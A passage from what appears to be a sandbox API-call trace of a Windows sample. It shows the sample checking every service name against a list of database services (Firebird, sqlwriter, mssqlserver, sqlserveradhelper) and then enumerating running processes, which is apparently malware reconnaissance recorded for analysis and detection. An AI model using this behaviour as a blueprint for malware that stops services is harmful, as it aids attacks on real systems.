(lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.171] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.171] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.171] lstrlenW (lpString="Audiosrv") returned 8 [0156.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0156.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0156.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0156.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0156.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0156.171] lstrlenW (lpString="BFE") returned 3 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.172] lstrlenW (lpString="BITS") returned 4 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0156.172] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0156.172] lstrlenW (lpString="CDPSvc") returned 6 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0156.172] lstrlenW (lpString="ClipSVC") returned 7 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0156.172] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0156.172] lstrlenW (lpString="CryptSvc") returned 8 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.172] lstrlenW (lpString="DcomLaunch") returned 10 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.172] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.172] lstrlenW (lpString="Dhcp") returned 4 [0156.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.173] lstrlenW (lpString="Dnscache") returned 8 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.173] lstrlenW (lpString="DoSvc") returned 5 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0156.173] lstrlenW (lpString="DPS") returned 3 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.173] lstrlenW (lpString="DusmSvc") returned 7 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0156.173] lstrlenW (lpString="EventLog") returned 8 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0156.173] lstrlenW (lpString="EventSystem") returned 11 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.173] lstrlenW (lpString="gpsvc") returned 5 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.173] lstrlenW (lpString="iphlpsvc") returned 8 [0156.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.173] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.173] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.173] lstrlenW (lpString="KeyIso") returned 6 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0156.174] lstrlenW (lpString="LanmanServer") returned 12 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.174] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.174] lstrlenW (lpString="lfsvc") returned 5 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0156.174] lstrlenW (lpString="LicenseManager") returned 14 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0156.174] lstrlenW (lpString="lmhosts") returned 7 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.174] lstrlenW (lpString="LSM") returned 3 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0156.174] lstrlenW (lpString="MpsSvc") returned 6 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.174] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.174] lstrlenW (lpString="NcbService") returned 10 [0156.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0156.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0156.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0156.175] lstrlenW (lpString="netprofm") returned 8 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.175] lstrlenW (lpString="NlaSvc") returned 6 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.175] lstrlenW (lpString="nsi") returned 3 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.175] lstrlenW (lpString="PcaSvc") returned 6 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.175] lstrlenW (lpString="PlugPlay") returned 8 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.175] lstrlenW (lpString="Power") returned 5 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.175] lstrlenW (lpString="ProfSvc") returned 7 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.175] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.175] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.175] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.176] lstrlenW (lpString="RpcSs") returned 5 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.176] lstrlenW (lpString="SamSs") returned 5 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.176] lstrlenW (lpString="Schedule") returned 8 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.176] lstrlenW (lpString="SecurityHealthService") returned 21 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0156.176] lstrlenW (lpString="SENS") returned 4 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.176] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.176] lstrlenW (lpString="sppsvc") returned 6 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0156.176] lstrlenW (lpString="SSDPSRV") returned 7 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0156.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0156.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0156.176] lstrlenW (lpString="StateRepository") returned 15 [0156.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0156.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0156.176] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0156.177] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0156.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0156.177] lstrlenW (lpString="SysMain") returned 7 [0156.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0156.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0156.177] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0156.177] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0156.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0156.177] lstrlenW (lpString="SystemEventsBroker") returned 18 [0156.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0156.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0156.177] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0156.177] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0156.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0156.177] lstrlenW (lpString="Themes") returned 6 [0156.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0156.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0156.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0156.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0156.177] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0156.181] Process32FirstW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.182] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.182] lstrlenW (lpString="System") returned 6 [0156.182] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.545] lstrlenW (lpString="smss.exe") returned 8 [0156.545] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.545] lstrlenW (lpString="csrss.exe") returned 9 [0156.546] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.546] lstrlenW (lpString="wininit.exe") returned 11 [0156.546] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.546] lstrlenW (lpString="csrss.exe") returned 9 [0156.547] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.547] lstrlenW (lpString="winlogon.exe") returned 12 [0156.547] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.548] lstrlenW (lpString="services.exe") returned 12 [0156.548] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.548] lstrlenW (lpString="lsass.exe") returned 9 [0156.548] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.549] lstrlenW (lpString="svchost.exe") returned 11 [0156.549] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, 